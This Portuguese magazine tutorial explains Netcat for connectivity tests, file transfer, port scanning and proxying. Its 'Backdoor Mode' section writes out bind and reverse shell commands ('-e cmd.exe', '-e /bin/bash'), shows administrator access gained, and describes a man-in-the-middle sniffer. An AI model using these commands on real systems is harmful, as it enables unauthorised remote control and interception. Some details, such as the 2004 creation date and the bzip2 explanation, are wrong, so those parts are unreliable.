Netcat: O canivete suíço TCP/IP - Revista Infra Magazine 8

Como Analistas de Segurança e Infraestrutura, constantemente precisamos executar testes de rede, muitas vezes tomando um tempo precioso, para validar simples regras de firewall e conectividade entre redes. A forma normal utilizada para tal operação subentende “subir” os serviços necessários nos respectivos servidores. O problema é que, além de dispendiosa, há uma complexidade desnecessária envolvida em configurar corretamente o serviço, quando na verdade o que precisamos no momento é apenas um teste simples de conectividade. Uma ferramenta que pode auxiliar de forma simples e eficiente nessa tarefa diária é o Netcat.

O Netcat, criado em 2004 pelo desenvolvedor conhecido como Hobbit, é uma simples ferramenta de rede bastante útil e versátil utilizada para ler e escrever dados através de redes utilizando a pilha de protocolos TCP/IP criando os mais variados serviços, por motivos de testes de conectividade, segurança, entre outros. Foi desenvolvido para ser uma ferramenta de “back-end” confiável, que pode ser utilizada diretamente, na linha de comando, ou indiretamente, via scripts. O Netcat pode ser integrado a outros softwares e scripts para uma série de tarefas de rede cuja utilidade e profundidade dependem apenas da imaginação e conhecimento TCP/IP do usuário.

Ainda, o Netcat pode ser utilizado facilmente para uma série de tarefas de manutenção, desenvolvimento, levantamento e troubleshooting de rede, pois simula praticamente todo e qualquer tipo de conexão existente, entre outras funcionalidades como:

· Conexões de entrada e/ou saída, TCP ou UDP, com origem ou destino a qualquer porta;

· Checagem completa de DNS (forward/reverse) com mensagens de warning;

· Habilidade de utilizar qualquer porta local;

· Habilidade de utilização de qualquer endereço IP de rede localmente configurada;

· Scanning de portas serializado ou randômico;

· Suporte a “loose source-routing”;

· Pode ler argumentos de linha de comando na entrada padrão (stdin);

· Suporte a slow-send mode, linha a linha a cada n segundos;

· Envio de dumps hexadecimais ou arquivos;

· Funções opcionais de resposta ao protocolo Telnet.

E o melhor de tudo, o Netcat é totalmente gratuito, distribuído sob a licença GNU General Public License (GPL), podendo ser baixado para Linux, FreeBSD, NetBSD, SunOS/Solaris, Mac OS X, Windows, entre outros, no site oficial (http://netcat.sourceforge.net).

Atualmente, devido a sua grande importância para administradores de rede e especialistas em segurança, principalmente para analistas especializados em testes de invasão (Pentesters), o Netcat já é disponível por padrão na grande maioria dos repositórios de softwares de sistemas Unix-like, o que evita o gasto de tempo com sua compilação e/ou instalação. Para os mais puristas, o Netcat também é disponível em código fonte para compilação em sistemas mais específicos.

Utilização e sintaxe básica

O Netcat foi desenvolvido para ser de simples operação utilizando parâmetros de passagem bem intuitivos. O Netcat não possui interface gráfica auxiliar oficial, por não ser de uso comum. Existem algumas implementações de entusiastas da aplicação, uma delas é o GtkNetCat com parâmetros bem intuitivos. Sua sintaxe é bem simples e similar a praticamente todos os comandos Unix-like. O nome do comando que executa o Netcat é nc.

Observe o exemplo de sintaxe padrão a seguir, retirado diretamente do help:

# nc [-options] <host> port[s] [ports]

Onde:

· nc: Nome do comando executável em shell do Netcat;

· [-options]: Parâmetros e opções passadas ao comando, como listen, tcp, etc.;

· <host>: IP ou nome do host a ser conectado;

· port[s]: Porta TCP/UDP utilizada para o serviço.

Cliente de Conexão (Client Mode)

O primeiro exemplo apresentado neste artigo é a forma mais simples de utilização do Netcat, como cliente de conexão a outros servidores ou websites, evitando o famigerado e bem conhecido comando Telnet. Para utilizá-lo dessa forma, basta especificar as opções de host e porta utilizados:

# nc www.kernel.org 80 GET / HTTP/1.1

Da mesma forma que um navegador funciona acessando um website na Internet digitando-se www.kernel.org na barra de URL, utiliza-se o Netcat como cliente de conexão TCP (substituindo o navegador web) na porta 80 (HTTP) do site www.kernel.org. Logo após, passa-se como parâmetro HTTP a tag “GET / HTTP/1.1” para executar um Banner Grabbing (captura de cabeçalho) no servidor web do site. Esse parâmetro é passado ao website por qualquer navegador web (Firefox, IE, etc.), porém o mesmo não é visualizado pelo usuário. Veja o resultado da execução do comando anterior na Listagem 1.

Listagem 1. Saída do comando nc www.kernel.org 80.

HTTP/1.1 400 Bad Request Date: Sat, 07 Jul 2012 01:52:00 GMT Server: Apache/2.2.22 (Fedora) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> </body></html>

Obviamente o exemplo da Listagem 1 pode ser estendido a qualquer protocolo orientado a conexão (TCP), como servidores de e-mail (SMTP), servidores de arquivos (FTP, SAMBA), entre outros.

É importante destacar que, em se tratando de comandos tipicamente de sistemas Unix, pode-se utilizar pipes (“|”) ou comandos de redirecionamento (“>”, “>>”, “<”) para melhorar e/ou completar seu funcionamento. Deste modo, esse mesmo exemplo poderia ser executado criando-se um arquivo get.txt com o conteúdo “GET / HTTP/1.1”, e passando diretamente seu conteúdo ao Netcat na linha de comando:

# nc www.kernel.org 80 < get.txt

Outra forma de executar o mesmo comando seria enviar a saída do comando echo ou printf diretamente via pipe para o Netcat, da seguinte forma:

# printf ‘GET / HTTP/1.1\n\n’ | nc www.kernel.org 80

Quando nenhuma opção de protocolo a ser utilizado é especificada na linha de comando, o padrão utilizado como cliente ou servidor é o TCP (orientado a conexão), e pode ser também definido, embora não necessário, pela opção “-t” ou “--tcp”. Havendo necessidade de utilização do protocolo UDP (não orientado a conexão), ele deve ser explicitamente especificado pela opção “-u” ou “--udp”.

Um breve exemplo de uso do protocolo UDP no Netcat é a consulta de DNS, ao invés de usar os já conhecidos dig, nslookup entre outros:

# nc –u ns1.servidor.com 53

Modo Servidor (Listen Mode)

Muitas vezes o administrador de redes tem necessidade de testar a conectividade de serviços atravessando as interfaces de um firewall, porém configurar serviços como DNS ou um Web Server apenas para testes pode tomar bastante tempo. O Netcat auxilia nessa tarefa com a capacidade de entrar em modo LISTEN (-l) em qualquer socket ou porta (-p) do sistema, conforme pode ser visto a seguir:

# nc –l –p 80

Dessa forma, acabou-se de executar o Netcat servindo conexões (modo Listen) na porta 80 da mesma forma que um servidor web HTTP. É importante frisar que em sistemas Linux, apenas o usuário root pode iniciar serviços abaixo da porta 1024. Caso um usuário normal tente executá-lo nessas portas, receberá uma mensagem de erro como a seguir:

felipe@bt:~$ nc -l -p 80 Can't grab 0.0.0.0:80 with bind : Permission denied

Para conectar ao serviço em LISTEN, basta utilizar um cliente de conexão Telnet ou o próprio Netcat em client mode em outro terminal:

# nc 192.168.217.132 500

Um ponto muito interessante e importante para os exemplos a seguir é notar que, utilizando o Netcat em modo listen e conectando-se a ele via client mode, qualquer string digitada na entrada padrão (stdin) do client mode, aparecerá na saída padrão (stdout) do Netcat em Listen. Devido a esse comportamento, muitas vezes essa função é conhecida como Chat Mode, o que também pode ser utilizado para transmissão de qualquer outro tipo de dados, como será abordado em seguida.

Transferência de arquivos

Uma vez que se conhece a utilidade do Netcat em Listen Mode, e também a função dos comandos de Pipe e Redirecionamento, pode-se utilizá-los em conjunto para a transferência de arquivos de diversas formas.

No exemplo, será transferido um arquivo qualquer, de nome get.txt, em texto claro do servidor para o servidor (cliente) que está requisitando o mesmo, com o nome de get-cliente.txt utilizando comandos Linux e Pipe. A primeira etapa para verificar se a cópia dos arquivos será íntegra é checar, com o auxílio do comando “md5sum”, o número CRC do arquivo original e, ao final da cópia, fazer o mesmo no arquivo destino. O checksum é um número utilizado para checar a integridade de arquivos em backups ou cópias. É retirado do arquivo a ser verificado por vários comandos (foi utilizado o “md5sum”), para comparação entre as duas pontas (origem e destino) da cópia. Caso o mesmo seja idêntico, a cópia terá sido feita com sucesso.

Através da Listagem 2, pode-se notar que a transferência foi executada sem problemas, e o checksum dos arquivos get.txt (origem) e get-cliente.txt (destino) são exatamente iguais, indicando que a cópia foi feita de forma íntegra.

Listagem 2. Comandos para Transferência de Arquivos.

Máquina 1 (servindo o arquivo) # md5sum get.txt 43fe9d8de2392b2e3c0289173fed453e get.txt # cat get.txt | nc –l –p 10000 Maquina 2 (capturando o arquivo) # nc 192.168.217.132 10000 > get-cliente.txt # md5sum get.txt 43fe9d8de2392b2e3c0289173fed453e get-cliente.txt

Utilizando esse exemplo como base, pode-se dificultar um pouco transferindo o conteúdo de um diretório, compactando-o na transferência, e descompactando-o no destino, conforme a Listagem 3.

Listagem 3. Transferência de arquivos com compactação.

Máquina 1 (servindo o arquivo) # tar –cf - /home/teste/ | nc –l –p 10000 Maquina 2 (capturando o arquivo) # nc 192.168.217.132 10000 > tar –xvzf -

Nesse exemplo, executou-se a cópia do diretório /home/teste da Máquina 1 para a Máquina 2 utilizando compactação real-time na transferência através do comando “tar –cf -”.

No primeiro comando, foi compactado o diretório /home/teste e enviados seus dados para a saída padrão com o comando “tar –cf - /home/teste/”.

O processo de compactar um arquivo no momento da cópia serve como um tipo de compressão de dados que irá ajudar a customizar o tempo de transferência, que será reduzido, bem como a largura de banda necessária para tal operação.

Outro exemplo interessante é a possibilidade de clonagem de um hard disk de um servidor para outra via rede, como visto na Listagem 4.

Listagem 4. Clonagem de Disco via Rede.

Máquina 1 (servindo o disco destino) # nc –l –p 3000 | bzip2 –d | dd of=/dev/sdb Máquina 2 (enviando os dados de disco) # bzip2 –c /dev/sda | nc 192.168.217.132 3000

Nesse exemplo, foi executado o Netcat em modo Listen na porta 3000 e redirecionada a saída para o comando bzip2 com a opção -d, que compactará o arquivo no destino (Máquina 1). Logo após o mesmo será reenviado, com o auxílio do Pipe, para o software dd, que escreve a saída (of=) bit a bit no disco /dev/sdb. Uma vez tendo o Netcat em Listen na Máquina 1, pode-se logar na Máquina 2 e iniciar o envio solicitando ao comando bzip2 para compactar o dispositivo /dev/sda através da opção -c para a saída padrão. Logo após, envia-se a saída para o comando Netcat que conectará a Máquina 1 na porta 3000.

Obviamente, a compactação pode ser executada com qualquer software de linha de comando, porém foi utilizado o comando bzip2, diferente do primeiro exemplo, para visualizar a gama de opções de comandos existentes.

Modo Túnel Seguro com SSH (Tunneling Mode)

Na transferência executada no exemplo da Listagem 4, foi feito com que os dados fossem transmitidos de um servidor a outro em texto claro, o que pode ser completamente inseguro devido à importância e confidencialidade dos dados do arquivo. Com o comando SSH, pode-se criar um túnel criptografado entre as duas pontas e assim transmitir o arquivo em texto claro de forma mais segura (ver Listagem 5).

Listagem 5. Túnel seguro de envio de arquivos com SSH.

Máquina 1 (servindo o arquivo) # cat arquivo-origem.iso | nc –l –p 8888 Maquina 2 (capturando o arquivo) # ssh –f –L 9999:localhost:8888 backup@192.168.217.132 sleep 1; nc localhost 9999 > arquivo-destino.iso

No exemplo da Listagem 5, o servidor, em Listen mode, abre o arquivo arquivo-origem.iso e o serve na porta 8888. No computador cliente, cria-se um túnel SSH na porta 9999 em localhost (127.0.0.1) e o associa-se a porta 8888, acessada via SSH, com o usuário backup no servidor que está servindo o arquivo original, 192.168.217.132. A conexão irá solicitar ao usuário backup a senha SSH para conexão, e quando preenchida, iniciará a cópia para o arquivo arquivo-destino.iso.

Executando comandos em Modo Listen (Backdoor Mode)

O Netcat possui uma opção, particularmente importante para especialistas em segurança e pentesting, para inclusão de backdoors (falhas de segurança), que permite executar qualquer comando ou script remoto na máquina que serve o socket, a opção -e. Um breve exemplo executado em um servidor Windows, criando um shell remoto, pode ser visto na Listagem 6.

Listagem 6. Criando um Shell Windows Remoto.

Máquina 1 (Windows) C:\nc11nt> netcat.exe –l –p 2000 –e cmd.exe -d Maquina 2 (Linux) # nc 192.168.217.2 2000 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\nc11nt> dir dir Volume in drive C has no label. Volume Serial Number is AE7D-CB8E Directory of C:\nc11nt 08/07/2012 17:01 <DIR> . 08/07/2012 17:01 <DIR> .. 28/11/1997 14:48 12.039 doexec.c 09/07/1996 16:01 7.283 generic.h 06/11/1996 22:40 22.784 getopt.c 03/11/1994 19:07 4.765 getopt.h 06/02/1998 15:50 61.780 hobbit.txt 28/11/1997 14:36 544 makefile 03/01/1998 14:37 59.392 nc.exe 04/01/1998 15:17 69.081 NETCAT.C 16/09/2009 14:39 7.070 readme.txt 9 File(s) 244.738 bytes 2 Dir(s) 111.135.408.128 bytes free C:\nc11nt> echo %USERDOMAIN%\%USERNAME% echo %USERDOMAIN%\%USERNAME% SERVER\Administrator

Nota-se que o serviço foi iniciado na porta 2000 no servidor Windows, solicitando a execução do comando cmd.exe com a opção –e. Uma vez conectados, verificando o banner do sistema, é recebido o Command Prompt (tela “C:\>”) e executa-se o comando dir. Observa-se que quando é utilizado o comando echo %USERDOMAIN%\%USERNAME%, recebe-se a resposta SERVER\Administrator, indicando que se está conectado com permissões de administrador do sistema, já que executou-se também o Netcat com permissões de super usuário. Tem-se agora, portanto, acesso irrestrito ao sistema.

Uma opção muito importante usada em conjunto com -e é a opção Stealth Mode -d. Ela faz com que o console seja desconectado do comando cmd.exe utilizado. Assim, pode-se executar o comando em background sem correr o risco de o serviço cair quando da desconexão do cliente. Essa opção existe apenas em sistemas operacionais Microsoft Windows, uma vez que em sistemas Unix e Linux o caractere especial & já faz o serviço.

Os comandos da Listagem 6 podem ser facilmente alterados para servir backdoors como meio de entrada remota ao servidor, utilizando não necessariamente um Shell, porém também outros comandos e scripts.

Criando um Shell Reverso

No exemplo da Listagem 6, foi aberto diretamente no servidor um shell para conexão via cliente. No entanto, na maioria das vezes, o firewall não permite a abertura das portas utilizadas, ou de um shell local. Para tal situação, existe o recurso de abrir um shell reverso, onde o Listen é iniciado no servidor, porém o shell é solicitado pela ponta que conecta, ou seja, o cliente. Para deixar o exemplo mais completo, o servidor em Listen será um Windows, e a máquina cliente será um Linux. Veja este caso na Listagem 7.

Listagem 7. Criando um Shell Reverso.

Máquina 1 (Windows) C:\nc11nt> nc.exe –nvl –p 2000 Listening on [any] 2000 … Máquina 2 (Linux) # nc 192.168.217.2 2000 –e /bin/bash

Dessa forma cria-se um shell reverso remoto para o cliente. Portanto, basta executar qualquer comando no servidor, que o mesmo será executado na máquina cliente, como mostrado na Listagem 8.

Listagem 8. Execução de comandos no Cliente.

C:\nc11nt> nc.exe –nvl –p 2000 Listening on [any] 2000 … Connect to [192.168.217.2] from <192.168.217.132> 52456 whoami root pwd /root

Nota-se que no exemplo da Listagem 8 foram executados dois comandos. Respectivamente, “whoami” e “pwd”, que verificam com qual usuário está logado e qual é o diretório corrente.

Criar um shell reverso tem diversas utilidades, como copiar comandos e/ou exploits (scripts que exploram falhas através de código malicioso) para o servidor alvo, bem como executar rotinas e criar novos backdoors para posterior acesso ao servidor.

Scanner de Portas (Scanner Mode)

Embora não tão completas como as do conhecido Nmap, o Netcat possui opções para escanear portas de hosts de rede de forma serializada ou randômica, e com suporte a inclusão de port range, como visto no exemplo da Listagem 9.

Listagem 9. Scaneamento de Portas.

# nc –v –n –w 2 –r –z 192.168.217.2 100-500 (UNKNOWN) [192.168.217.2] 445 (microsoft-ds) open (UNKNOWN) [192.168.217.2] 443 (https) open (UNKNOWN) [192.168.217.2] 139 (netbios-ssn) open (UNKNOWN) [192.168.217.2] 135 (loc-srv) open

Na Listagem 9, utilizou-se o Netcat para escanear (opção –z) o servidor 192.168.217.2 especificando um range de portas (100-500) com o caractere “-” entre a porta início e a porta fim. Também usou-se a opção -n para evitar uma consulta de DNS reverso no IP alvo do scanner e a opção -v (verbose) para adicionar mais detalhes à saída. A opção –v (verbose mode) adiciona mais detalhes ao resultado do comando e pode ser utilizada até duas vezes (“-vv”). Nota-se também que, dependendo da quantidade de portas configuradas no range, o tempo de escaneamento torna-se muito alto, motivo pelo qual utiliza-se a opção -w 2, para permitir um timeout de dois segundos por porta, visando acelerar o processo. Outra funcionalidade importante para aumentar as chances de sucesso é randomizar o escaneamento de portas, empregando para isso a opção -r.

A função de scanning do Netcat exibe como saída apenas as portas em listen (abertas) do range utilizado, e não todas as escaneadas.

Caso seja necessário o scanning de poucas portas, elas podem ser definidas uma a uma separadas pelo delimitador espaço, como demonstrado a seguir:

# nc –v –n –w 2 –r –z 192.168.217.2 443 445 500

Embora muito pouco frequente, ocasionalmente o host alvo pode estar negando a consulta de portas. Esse comportamento pode ser proveniente de algum problema na rede que não permita acessar remotamente as portas utilizadas na velocidade desejada. Isso pode gerar mensagens de erros diferentes como time out (ver Listagem 10).

Listagem 10. Mensagens de Time Out.

# nc -v -w 2 -r -z www.google.com 22 23 24 25 DNS fwd/rev mismatch: www.l.google.com != yx-in-f106.1e100.net DNS fwd/rev mismatch: www.l.google.com != yx-in-f147.1e100.net DNS fwd/rev mismatch: www.l.google.com != yx-in-f99.1e100.net DNS fwd/rev mismatch: www.l.google.com != yx-in-f104.1e100.net DNS fwd/rev mismatch: www.l.google.com != yx-in-f103.1e100.net DNS fwd/rev mismatch: www.l.google.com != yx-in-f105.1e100.net www.l.google.com [74.125.45.106] 22 (ssh) : Connection timed out www.l.google.com [74.125.45.106] 23 (telnet) : Connection timed out www.l.google.com [74.125.45.106] 24 (?) : Connection timed out www.l.google.com [74.125.45.106] 25 (smtp) : Connection timed out

Nota-se que, no exemplo da Listagem 10, foi retirada a opção -n para visualizar a consulta reversa do servidor. Devido a isso, foi mostrado todos os registros reversos do FQDN (Fully Qualified Domain Name) consultados.

Executando DNS Queries

Utilizando a opção “-u“ para pacotes UDP pode-se simular uma consulta DNS (DNS Query) a um determinado servidor. Para isso, primeiramente precisa-se iniciar o Netcat em Listen Mode na porta 53/UDP. Em outro terminal, verifica-se como é construída a estrutura da string de DNS query, executando-a no servidor criado localmente na porta 53/UDP (Terminal 1 da Listagem 11) e enviando a saída da consulta para o arquivo dns-query.txt, como apresentado na Listagem 11.

Listagem 11. Simulando consultas DNS.

Terminal 1 # nc –u –i –p 53 > dns-query.txt Terminal 2 # dig www.website.com @localhost

Dentro do arquivo dns-query.txt estará a consulta DNS da forma como a estrutura da query foi interpretada pelo Netcat. Agora precisa-se remeter o conteúdo do arquivo para algum servidor DNS válido, com o objetivo de simular a consulta. Pode-se, portanto, reutilizar a resposta como uma query executada diretamente pelo Netcat no comando a seguir, onde, na saída padrão, será exibido o conteúdo da query executada:

# cat dns-query.txt | nc –u ns1.servidor.com 53

Servindo páginas web

Outro recurso do Netcat é servir páginas simples HTML (da mesma forma que um servidor web) para utilização em testes ou até mesmo em exploits. Para ilustrar um exemplo, foi criada uma pequena página HTML de nome pagina.html com o conteúdo da Listagem 12.

Listagem 12. Código HTML do arquivo pagina.html.

<html> <title>Pagina de teste</title> <body> <h2>Alo Netcat</h2> <h2>Bem Vindo</h2> </body> </html>

Para evitar instalar e configurar um servidor web do zero, utiliza-se estruturas de laço “while” em shell script, para evitar que a página feche criando uma operação que nunca expira (“while true”). Logo após, concatena-se a saída do arquivo pagina.html para o Netcat já em Listen na porta 80/TCP, com o comando “nc -l -p 80 -q 1 < pagina.html”. Logo após, fecha-se a condição “while” com o “done” da seguinte forma:

# while true; do nc -l -p 80 -q 1 < pagina.html ; done

Assim, acaba-se de criar um servidor na porta 80/TCP disponibilizando nele a página pagina.html. Nota-se que o comando executado ficará no terminal até que seja finalizado com um ctrl+c.

Em seguida, abre-se outro terminal e checa-se com o comando “netstat –platun | grep 80”, se o comando foi executado e está rodando com sucesso:

# netstat -platun | grep 80 tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 7155/nc

A saída do comando “netstat” mostra que o comando Netcat foi executado com sucesso e está respondendo na porta 80.

Uma vez que a página esteja funcionando na porta escolhida, basta abrir o endereço IP do servidor utilizado na barra de URL de qualquer browser da mesma forma que seria feito com uma página normal (Figura 1).

Figura 1. Abrindo o arquivo pagina.html do servidor no navegador web.

Se retornar ao terminal que está servindo a conexão, observa-se a utilização do browser Microsoft Internet Explorer 9.0, como mostra o banner de “User Agent” da Listagem 13.

Listagem 13. Banner “User Agent” do Navegador Web.

# while true; do nc -l -p 80 -q 1 < pagina.html ; done GET / HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: pt-BR User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: 192.168.217.132 Connection: Keep-Alive GET /favicon.ico HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Host: 192.168.217.132 Connection: Keep-Alive

Definindo o IP de Origem

Em determinadas situações, onde o servidor possui diversos IPs configurados em uma ou mais interfaces de rede, é necessário definir um IP que se deseja utilizar no Netcat. Quando não é definido um IP de origem, o serviço entrará em Listen em todos os IPs disponíveis no servidor, que no Shell Linux é referido pelo IP 0.0.0.0. Como pode ser visto na Listagem 14, executa-se o comando Netcat no Terminal 1 e o comando “netstat” no Terminal 2.

Listagem 14. Comando Netcat sem definição de IP específico.

Terminal 1 # nc–l –p 12345 Terminal 2 # netstat -platun | grep 1234 tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN 2244/nc

Para evitar esse comportamento, pode-se utilizar a opção -s para definir um IP de origem específico onde o socket ficará em Listen.

Utilizando o comando “ifconfig –a” | grep inet”, observa-se que o servidor possui dois IPs diferentes:

# ifconfig -a | grep inet inet addr:192.168.217.132 Bcast:192.168.217.255 Mask:255.255.255.0 inet addr:192.168.217.135 Bcast:192.168.217.255 Mask:255.255.255.0

Será então utilizado o Netcat executando dois serviços em dois IPs diferentes. O primeiro serviço será criado na porta 12345 no IP 192.168.217.132 e o segundo na porta 12346 no IP 192.168.217.135, executando cada comando em um terminal diferente, como na Listagem 15.

Listagem 15. Criando dois serviços em portas e IPs diferentes.

Terminal 1 # nc –s 192.168.217.132 –l –p 12345 Terminal 2 # nc –s 192.168.217.2 12346 –l –p 12346

Em um terceiro terminal, utiliza-se o comando “netstat” e visualiza-se os dois IPs, cada um executando um dos serviços supracitados, fornecendo o acesso às portas apenas no IP especificado:

# netstat -platun | grep 1234 tcp 0 0 192.168.217.132:12345 0.0.0.0:* LISTEN 2231/nc tcp 0 0 192.168.217.135:12346 0.0.0.0:* LISTEN 2232/nc

Proxy TCP genérico

Existe uma funcionalidade muito conveniente do Netcat quando se utiliza o comando em conjunto com arquivos Linux do tipo pipe. Pode-se, por assim dizer, criar um sniffer como um “man-in-the-middle” para monitorar o tráfego entre o cliente, que requisita o acesso, e o servidor na ponta final. Assim, pode-se levantar informações para executar atividades maliciosas ou simplesmente como forma de debug do tráfego da rede.

Desse modo, consegue-se visualizar exatamente a sequência de caracteres retornada pelo servidor remoto e, consequentemente, monitorar o tráfego de acesso a essa porta.

Para executar essa tarefa, precisa-se primeiramente criar um arquivo do tipo pipe, como a seguir:

# mknod backpipe p

Uma vez criado o pipe, utiliza-se o Netcat para criar um servidor na porta 80/TCP, setando também um outro Netcat (recebendo dados via pipe do comando anterior) para falar com o servidor real em sua porta original, que no exemplo é 81/TCP. Dessa forma, faz-se com que eles passem todos os dados que recebem de um para o outro, formando juntos um proxy, algo como um sniffer “man-in-the-middle” na conexão, como no comando a seguir:

# nc –l –p 80 0<pipe-retorno | tee –a entrada | nc localhost 81 | tee –a saida 1>pipe-retorno

Devido ao fato de pipes do Bash Linux apenas transportarem dados unidirecionalmente, precisa-se de um meio de levar as respostas junto com os dados. Cria-se então um pipe no sistema de arquivos local para carregar os dados de volta no sentido contrário.

Requisições destinadas ao proxy, chegando no primeiro comando Netcat, ficam em estado LISTEN na porta 80. Em seguida, estas requisições são reenviadas via pipe ao comando tee, que as loga no arquivo “entrada”. Logo após a saída do comando, a requisição é enviada para o segundo comando Netcat, que conecta ao servidor web real. Quando a resposta retorna do servidor, chega diretamente ao segundo comando Netcat, e é escrita pelo segundo comando tee no arquivo “saida”. A mesma resposta do comando é replicada para o pipe “pipe-retorno” no sistema de arquivos local.

Devido à complexidade do comando, o mesmo pode ser mais bem analisado e entendido no diagrama de fluxo de dados da Figura 2.

Figura 2. Diagrama de fluxo do comando Netcat.

À primeira vista, essa operação pode parecer um pouco mais complicada do que o habitual. Portanto, reserve um tempo para entender a sintaxe, a fim de, com um pouco de criatividade, também poder utilizá-la em seus scripts diários, caso necessário.

Conclusão

O comando Netcat é bastante completo e flexível, sendo uma ferramenta chave para qualquer analista de TI, desde programadores a especialistas em segurança e redes. Pode ser facilmente utilizada na criação de programas para testes, troubleshooting de rede, exploits ou scripts, auxiliando em todas as funções diárias de gerenciamento.

Existem diversos outros exemplos que podem ser visualizados no próprio pacote do Netcat, e assim como os citados neste artigo, servem de ponto de partida para seus próprios exemplos e scripts.

O único limite existente para transformar o Netcat em uma ferramenta completa e útil, cheia de funcionalidades, é a sua própria criatividade e necessidade.

Embora o Netcat seja largamente utilizado pela sua gama de funcionalidades, existem alternativas mais atuais que aumentam ainda mais o seu poder e utilidade, suportando mais protocolos e funções, como o Ncat. Porém, esse é um assunto para outro artigo.

Links

Site Oficial do Netcat
http://netcat.sourceforge.net/

Site Oficial do Netcat versão 1.10
http://nc110.sourceforge.net/

Livro “Netcat Power Tools”, escrito por Giovanni Giacobbi
www.adaptivepath.com/publications/essays/archives/000385.php

RFC 1035 Domain Names – Implementation and Specification
http://www.faqs.org/rfcs/rfc1035.html

Site do GtkNetCat
http://linux.softpedia.com/get/System/Networking/GtkNetCat-39311.shtml